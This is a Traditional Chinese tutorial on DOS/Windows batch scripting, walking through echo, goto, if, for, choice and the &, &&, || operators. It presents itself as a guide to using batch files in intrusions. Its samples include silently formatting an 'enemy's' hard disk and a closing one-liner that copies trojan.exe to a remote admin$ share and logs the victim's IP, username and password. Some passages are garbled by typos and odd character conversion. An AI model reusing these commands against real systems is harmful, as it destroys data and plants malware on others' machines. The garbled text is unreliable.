批處理程式設計- -介紹DOS/BAT
用批處理指令把一些特殊的檔案按擴充名分類寫到一份檔案裡。批處理檔案是無格式的文本檔案,它包含一條或多條指令。它的檔案擴充名為.bat或.cmd。在指令提示下鍵入批處理檔案的名稱,或者輕按兩下該批處理檔案,
系統就會調用Cmd.exe按照該檔案中各個指令出現的順序來逐個運作它們。使用批處理檔案(也被稱為批處理程式或腳本),可以簡化日常或重複性任務。當然
本文的主要内容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理檔案來給系統打更新檔、批量植入後門程式等。下面就開始我們批處理學習之旅吧。
一.簡單批處理内部指令簡介
1.Echo指令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo指令将顯示目前回顯設定。文法:
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條指令和重定向符号(也稱為管道符号,一般用> >> ^)結合來實作輸入一些指令到特定格式的檔案中.這将在以後的例子中展現出來。
2.@指令
表示不顯示@後面的指令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的指令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format這個指令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto指令
指定跳轉到标簽,找到标簽後,程式将處理從下一行開始的指令。
文法:goto label(label是參數,指定所要轉向的批處理程式中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标簽的名字可以随便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是标簽,goto指令就是根據這個:來尋找下一步跳到到那裡。最好有一
些說明這樣你别人看起來才會了解你的意圖啊。
4.Rem指令
注釋指令,在C語言中相當與,它并不會被執行,隻是起一個注釋的作用,便于别人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause指令
運作Pause指令時,将顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:/back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器A中磁盤上的所有檔案均複制到d:/back中。顯示的注釋提示您将另一張磁盤放入驅動器A時,pause指令會使程式挂起,以便您更換
磁盤,然後按任意鍵繼續處理。
6.Call指令
從一個批處理程式調用另一個批處理程式,并且不終止父批處理程式。call指令接受用作調用目标的标簽。如果在腳本或批處理檔案外使用Call,它将不會
在指令行起作用。
文法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程式的位置和名稱。filename參數必須具有.bat或.cmd擴充名。
7.start指令
調用外部程式,所有的DOS指令和指令行程式都可以由start指令來調用。
入侵常用參數:
MIN 開始時視窗最小化
SEPARATE 在分開的空間内開始16位Windows程式
HIGH在HIGH優先級類别開始應用程式
REALTIME在REALTIME優先級類别開始應用程式
WAIT 啟動應用程式并等候它結束
8.choice指令
choice使用此指令可以讓使用者輸入一個字元,進而運作不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的傳回碼為1234…
…
如: choice /c:dme defrag,mem,end
将顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag(應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:/dos/defrag
goto end
:mem
mem
goto end
:end
echo good bye
此檔案運作後,将顯示defrag,mem,end[D,M,E]?使用者可選擇d m e,然後if語句将作出判斷,d表示執行标号為defrag的程式段,m表示執行标号為mem的程式
段,e表示執行标号為end的程式段,每個程式段最後都以goto end将程式跳到end标号處,然後程式将顯示good bye,檔案結束。
9.If指令
if表示将判斷是否符合規定的條件,進而決定執行不同的指令。有三種格式:
1、if "參數" == "字元串" 待執行的指令
參數如果等于指定的字元串,則條件成立,運作指令,否則運作下一句。(注意是兩個等号)如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist檔案名 待執行的指令
如果有指定的檔案,則條件成立,運作指令,否則運作下一句。如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel數字 待執行的指令
如果傳回碼等于指定的數字,則條件成立,運作指令,否則運作下一句。
如if errorlevel 2 goto x2
DOS程式運作時都會傳回一個數字給DOS,稱為錯誤碼errorlevel或稱傳回碼,常見的傳回碼為0、1。
10.for指令
for指令是一個比較複雜的指令,主要用于參數在指定的範圍内循環執行指令。
在批處理檔案中使用FOR指令時,指定變量請使用%%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable指定一個單一字母可替換的參數。
(set)指定一個或一組檔案。可以使用通配符。
command指定對每個檔案執行的指令。
command-parameters為特定指令指定參數或指令行開關。
在批處理檔案中使用FOR指令時,指定變量請使用%%variable而不要用%variable。變量名稱是區分大小寫的,是以%i不同于%I
三.如何使用組合指令(Compound Command)
1.&
Usage:第一條指令&第二條指令[&第三條指令...]
用這種方法可以同時執行多條指令,而不管指令是否執行成功
Sample:
C:/>dir z: & dir c:/Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條指令&&第二條指令[&&第三條指令...]
用這種方法可以同時執行多條指令,當碰到執行出錯的指令後将不執行後面的指令,如果一直沒有出錯則一直執行完所有指令;
Sample:
C:/>dir z: && dir c:/Ex4rch
The system cannot find the path specified.
C:/>dir c:/Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種指令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:/backup
如果遠端伺服器上存在backup.mdb檔案,就執行copy指令,若不存在該檔案則不執行copy指令。這種用法可以替換IF exist了:)
3.||
Usage:第一條指令||第二條指令[||第三條指令...]
用這種方法可以同時執行多條指令,當碰到執行正确的指令後将不執行後面的指令,如果沒有出現正确的指令則一直執行完所有指令;
Sample:
C:/Ex4rch>dir sometips.gif ||delsometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:/Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合指令使用的例子:
sample:
@copy trojan.exe /%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt